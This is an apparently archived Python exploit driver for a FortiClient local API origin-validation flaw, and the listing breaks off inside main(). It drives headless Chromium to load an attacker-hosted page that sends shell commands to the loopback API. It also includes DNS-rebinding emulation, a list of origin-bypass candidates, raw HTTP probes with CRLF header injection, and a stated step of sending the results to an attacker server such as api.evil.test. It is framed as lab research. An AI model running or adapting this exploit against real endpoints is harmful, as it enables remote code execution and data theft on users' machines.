1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/googlesky/CVE-2026-121529 (MIT)
"""
CVE-2026-121529 -- FortiClient local API origin validation error ("Fortinet2Shell").
PoC driver. Runs a *real* browser (headless Chromium via Playwright) inside the same
network namespace as the FortiClient local API, so `http://127.0.0.1:9191` really is the
victim's loopback, exactly like on an endpoint that runs FortiClient.
The attack:
1. the browser loads a malicious page served by a separate attacker container,
2. the page's JavaScript does `fetch('http://127.0.0.1:9191/api/v1/privileged/session')`,
3. the FortiClient local API executes the command that was handed to it,
4. the attacker exfiltrates the API response back to their own server.
Modes:
check run the attack once, print the verdict
exploit same, plus verification of the on-disk proof of execution
mitigation the same attack against a CORS-header-only remediation
probe origin-validation bypass matrix against the patched model
raw raw-socket HTTP probes (header injection, missing/duplicate Origin, Host abuse)
rebind DNS-rebinding style attack: the page origin == the API origin, so the browser
applies no CORS check at all
ws the WebSocket surface, which no CORS policy governs
0day full sweep: bypass + raw + rebind + the "CORS-header-only remediation" residual
all everything
"""
import argparse
import json
import os
import socket
import sys
import time
from urllib.parse import quote
try:
from playwright.sync_api import sync_playwright
except Exception as exc: # pragma: no cover
print("playwright is required: %r" % (exc,), file=sys.stderr)
sys.exit(2)
TARGET = os.environ.get("FCT_TARGET", "http://127.0.0.1:9191")
ATTACKER = os.environ.get("ATTACKER_URL", "http://attacker-site:8080")
TOKEN = os.environ.get("FCT_TOKEN", "fct-local-agent-shared-secret")
TOKEN_HEADER = "x-fortipam-client"
RESULTS = os.environ.get("POC_RESULTS", "/results")
PROOF_DIR = os.path.join(RESULTS, "poc")
MARKER = os.path.join(RESULTS, "marker")
REBIND_HOST = "api.evil.test"
REBIND_PORT = 9191
CHROME_ARGS = [
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-gpu",
"--disable-features=IsolateOrigins,site-per-process",
]
# A 1x1 PNG. The executed command drops it into the artefact store; the page then
# loads it as an image. If it decodes, the command really ran -- which is how a blind
# RCE becomes a *confirmed* one.
PNG_B64 = (
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQ"
"AAAABJRU5ErkJggg=="
)
DEFAULT_CMD = (
"id > {marker}/browser-pwn.txt 2>&1; echo PWNED >> {marker}/browser-pwn.txt; "
"echo '{png}' | base64 -d > {marker}/proof.png"
)
# --------------------------------------------------------------------- helpers
def list_proofs():
try:
return sorted(os.listdir(PROOF_DIR))
except OSError:
return []
def proof_files():
out = []
for name in list_proofs():
p = os.path.join(PROOF_DIR, name)
try:
with open(p, encoding="utf-8") as fh:
out.append(json.load(fh))
except Exception:
pass
return out
def read_exfil():
p = os.path.join(RESULTS, "exfil.jsonl")
recs = []
try:
with open(p, encoding="utf-8") as fh:
for line in fh:
line = line.strip()
if line:
try:
recs.append(json.loads(line))
except Exception:
recs.append({"raw": line})
except OSError:
pass
return recs
def attacker_host():
h = ATTACKER.split("//", 1)[-1].split("/")[0].split(":")[0]
return h
def attacker_ip():
try:
return socket.gethostbyname(attacker_host())
except Exception:
return "127.0.0.1"
def ws_url():
return TARGET.replace("https://", "wss://").replace("http://", "ws://") + "/ws"
# ------------------------------------------------------------------- the router
def make_router(origin_override=None, drop_origin=False, extra=None, rewrite=None):
"""Playwright router that can tamper with the request the browser makes.
* origin_override : replace the `Origin` header with this value
* drop_origin : remove the `Origin` header entirely (native-client shape)
* extra : additional request headers
* rewrite : list of (url_prefix, replacement_prefix) -- emulates the DNS
rebinding step, where the browser keeps talking to the
attacker's host name but the packet goes to the loopback API.
"""
def handler(route):
req = route.request
headers = {k.lower(): v for k, v in req.headers.items()}
url = req.url
if rewrite:
for src, dst in rewrite:
if url.startswith(src):
url = dst + url[len(src) :]
break
if origin_override is not None:
headers["origin"] = origin_override
elif drop_origin:
headers.pop("origin", None)
if extra:
for k, v in extra.items():
headers[k.lower()] = v
try:
route.continue_(url=url, headers=headers)
except Exception:
try:
route.abort()
except Exception:
pass
return handler
# ------------------------------------------------------------------ the attack
def run_attack(
pw,
cmd=None,
target=None,
legacy=None,
origin_override=None,
drop_origin=False,
extra=None,
rewrite=None,
rebind=False,
label="attack",
):
"""Load the malicious page in a real browser and observe what happens."""
cmd = cmd or DEFAULT_CMD.format(marker=MARKER, png=PNG_B64)
target = target or (TARGET + "/api/v1/privileged/session")
legacy = legacy or (TARGET + "/api/v1/privileged/session/legacy")
proofs_before = {p.get("proof_id") for p in proof_files()}
result = {
"label": label,
"target": target,
"legacy": legacy,
"cmd": cmd,
"origin_override": origin_override,
"drop_origin": drop_origin,
"extra_headers": extra,
"rebind": rebind,
"ts": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
}
args = list(CHROME_ARGS)
if rebind:
# Step 1 of a DNS rebinding attack: the attacker's name resolves to the
# attacker's own server, so the malicious page is loaded from
# http://api.evil.test:9191/ (same host:port as the API it will attack).
args.append("--host-resolver-rules=MAP %s %s" % (REBIND_HOST, attacker_ip()))
with pw.chromium.launch(headless=True, args=args) as browser:
ctx = browser.new_context(ignore_https_errors=True)
page = ctx.new_page()
console = []
page.on("console", lambda m: console.append("%s: %s" % (m.type, m.text)))
page.on("pageerror", lambda e: console.append("pageerror: %s" % e))
rewrite = list(rewrite or [])
if rebind:
# The DNS rebinding step: the browser keeps using the attacker's host name
# (so the request is *same-origin* and no CORS check applies at all), but the
# packet is delivered to the FortiClient local API on the loopback.
rewrite.insert(
0,
(
"http://%s:%d/api/" % (REBIND_HOST, REBIND_PORT),
TARGET + "/api/",
),
)
page.route(
"**/*",
make_router(
origin_override=origin_override,
drop_origin=drop_origin,
extra=extra,
rewrite=rewrite,
),
)
if rebind:
page_url = "http://%s:%d/exploit.html" % (REBIND_HOST, REBIND_PORT)
t = "http://%s:%d/api/v1/privileged/session" % (REBIND_HOST, REBIND_PORT)
lg = "http://%s:%d/api/v1/privileged/session/legacy" % (REBIND_HOST, REBIND_PORT)
fl = "http://%s:%d/api/v1/files/proof.png" % (REBIND_HOST, REBIND_PORT)
else:
page_url = ATTACKER + "/exploit.html"
t = target
lg = legacy
fl = TARGET + "/api/v1/files/proof.png"
url = "%s?target=%s&legacy=%s&cmd=%s&files=%s&ws=%s" % (
page_url,
quote(t, safe=""),
quote(lg, safe=""),
quote(cmd, safe=""),
quote(fl, safe=""),
quote(ws_url(), safe=""),
)
result["page_url"] = url
try:
page.goto(url, wait_until="domcontentloaded", timeout=30000)
page.wait_for_function(
"() => window.__results && window.__results.attempts.length >= 6",
timeout=30000,
)
page_results = page.evaluate("window.__results")
except Exception as exc:
page_results = {"error": str(exc)}
try:
page_results["partial"] = page.evaluate("window.__results")
except Exception:
pass
result["page"] = page_results
result["console"] = console[-20:]
try:
ctx.close()
except Exception:
pass
# ---- verify what actually happened on the endpoint
time.sleep(0.4)
new_proofs = [
p for p in proof_files() if p.get("proof_id") and p["proof_id"] not in proofs_before
]
result["executed"] = len(new_proofs) > 0
result["proofs"] = new_proofs
result["proof_count"] = len(new_proofs)
result["channels_executed"] = sorted({p.get("channel") for p in new_proofs if p.get("channel")})
# The <img> cross-origin GET carries no Origin header at all.
result["img_csrf_executed"] = any(p.get("channel") == "query" for p in new_proofs)
result["origins_seen"] = sorted({str(p.get("origin")) for p in new_proofs})
attempts = (page_results or {}).get("attempts") or []
ws_att = [a for a in attempts if a.get("name") == "websocket"]
conf_att = [a for a in attempts if a.get("name") == "confirm-oracle"]
result["websocket_opened"] = bool(ws_att and ws_att[0].get("opened"))
result["websocket_readable"] = bool(ws_att and ws_att[0].get("readable"))
result["websocket_executed"] = any(p.get("channel") == "websocket" for p in new_proofs)
result["confirmed"] = bool(conf_att and conf_att[0].get("confirmed"))
attempts = (page_results or {}).get("attempts") or []
readable = [
a
for a in attempts
if a.get("readable")
and isinstance(a.get("body"), str)
and ("proof_id" in a["body"] or "PWNED" in a["body"] or "uid=" in a["body"])
]
result["readable"] = len(readable) > 0
result["readable_attempts"] = readable
result["exfiltrated"] = bool(read_exfil())
result["marker_present"] = os.path.exists(MARKER + "/browser-pwn.txt")
return result
# --------------------------------------------------------------- raw HTTP probes
def raw_probe(path="/api/v1/privileged/session", headers=None, method="POST", body=None):
"""Send a hand-crafted HTTP request to the local API (no browser involved)."""
host, port = TARGET.split("//", 1)[-1].split("/")[0].split(":")
port = int(port)
if body is None:
body = json.dumps({"command": "id > %s/raw-pwn.txt 2>&1" % MARKER}).encode()
lines = ["%s %s HTTP/1.1" % (method, path), "Host: %s:%d" % (host, port)]
for k, v in (headers or {}).items():
lines.append("%s: %s" % (k, v))
lines.append("Content-Type: application/json")
lines.append("Content-Length: %d" % len(body))
lines.append("Connection: close")
raw = ("\r\n".join(lines) + "\r\n\r\n").encode() + body
s = socket.create_connection((host, port), timeout=10)
s.sendall(raw)
data = b""
s.settimeout(10)
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
except socket.timeout:
pass
finally:
s.close()
return data.decode("utf-8", "replace")
# --------------------------------------------------------------- bypass matrix
BYPASS_CANDIDATES = [
("allowlisted-origin", "https://fortipam.fortinet.com", {}),
("allowlisted-origin-uppercase", "https://FORTIPAM.FORTINET.COM", {}),
("allowlisted-origin-trailing-dot", "https://fortipam.fortinet.com.", {}),
("allowlisted-origin-explicit-default-port", "https://fortipam.fortinet.com:443", {}),
("allowlisted-origin-zero-padded-port", "https://fortipam.fortinet.com:0443", {}),
("allowlisted-origin-trailing-space", "https://fortipam.fortinet.com ", {}),
("userinfo-confusion", "https://fortipam.fortinet.com@evil.example", {}),
("suffix-confusion", "https://fortipam.fortinet.com.evil.example", {}),
("prefix-confusion", "https://evilfortipam.fortinet.com", {}),
("parent-domain", "https://fortinet.com", {}),
("chrome-extension-origin", "chrome-extension://klbibpmmopcnogkgdclkbjoepgphcnak", {}),
("null-origin", "null", {}),
("null-origin-with-spoofed-fetch-metadata", "null", {"sec-fetch-site": "same-origin"}),
("wildcard-origin", "*", {}),
("same-origin-ipv4", "http://127.0.0.1:9191", {}),
("same-origin-localhost", "http://localhost:9191", {}),
("missing-origin-header", None, {}),
]
def bypass_matrix(pw, cmd, token=None):
"""Origin-validation bypass matrix.
Pass 1 (token=None): the attacker knows nothing but the URL. Every candidate must
be rejected -- the patched model requires both a trusted origin and the shared
secret header.
Pass 2 (token=<lab secret>): the origin validator is tested in isolation. Only a
genuinely allow-listed origin may pass; every parser differential (case, trailing
dot, explicit/zero-padded default port, userinfo, suffix, prefix, parent domain,
`null`, wildcard, missing header) must still be rejected.
"""
out = []
for name, origin, extra in BYPASS_CANDIDATES:
hdrs = dict(extra or {})
if token:
hdrs[TOKEN_HEADER] = token
r = run_attack(
pw,
cmd=cmd,
origin_override=origin,
drop_origin=(origin is None),
extra=hdrs or None,
label="bypass:" + name,
)
r["candidate"] = name
r["candidate_origin"] = origin
r["token_supplied"] = bool(token)
out.append(r)
return out
def raw_probes(cmd):
probes = [
("no-origin-header", {"User-Agent": "raw-probe"}),
("origin-null", {"Origin": "null"}),
("origin-allowlisted", {"Origin": "https://fortipam.fortinet.com"}),
("origin-untrusted", {"Origin": "http://evil.example"}),
("duplicate-origin", {"Origin": "https://fortipam.fortinet.com"}),
("origin-crlf-injection", {"Origin": "https://fortipam.fortinet.com\r\nX-Injected: yes"}),
("origin-with-space-list", {"Origin": "https://fortipam.fortinet.com http://evil.example"}),
("host-header-abuse", {"Host": "api.evil.test"}),
("forwarded-host-abuse", {"X-Forwarded-Host": "api.evil.test"}),
]
results = []
for name, hdrs in probes:
# a second Origin header is genuinely duplicated
if name == "duplicate-origin":
resp = raw_probe_with_extra_header(hdrs, ("Origin", "http://evil.example"))
else:
resp = raw_probe(headers=hdrs)
results.append(
{
"probe": name,
"headers": {k: v.replace("\r\n", "\\r\\n") for k, v in hdrs.items()},
"response": resp[:1200],
"executed": '"proof_id"' in resp or '"ok": true' in resp,
"injected_header": "x-injected" in resp.lower(),
}
)
return results
def raw_probe_with_extra_header(headers, extra):
host, port = TARGET.split("//", 1)[-1].split("/")[0].split(":")
port = int(port)
body = json.dumps({"command": "id > %s/raw-pwn.txt 2>&1" % MARKER}).encode()
lines = [
"POST /api/v1/privileged/session HTTP/1.1",
"Host: %s:%d" % (host, port),
]
for k, v in headers.items():
lines.append("%s: %s" % (k, v))
lines.append("%s: %s" % extra)
lines.append("Content-Type: application/json")
lines.append("Content-Length: %d" % len(body))
lines.append("Connection: close")
raw = ("\r\n".join(lines) + "\r\n\r\n").encode() + body
s = socket.create_connection((host, port), timeout=10)
s.sendall(raw)
data = b""
s.settimeout(10)
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
except socket.timeout:
pass
finally:
s.close()
return data.decode("utf-8", "replace")
# ---------------------------------------------------------------------- main
def main():
global TARGET, ATTACKER
ap = argparse.ArgumentParser()
ap.add_argument(
"mode",
nargs="?",
default="check",
choices=[
"check",
"exploit",
"mitigation",
"probe",
"raw",
"rebind",
"ws",
"0day",
"all",
],
)
ap.add_argument("--target", default=TARGET)
ap.add_argument("--attacker", default=ATTACKER)
ap.add_argument("--cmd", default=None)
ap.add_argument("--out", default=None)
args = ap.parse_args()
TARGET = args.target
ATTACKER = args.attacker
os.makedirs(PROOF_DIR, exist_ok=True)
os.makedirs(MARKER, exist_ok=True)
cmd = args.cmd or DEFAULT_CMD.format(marker=MARKER, png=PNG_B64)
|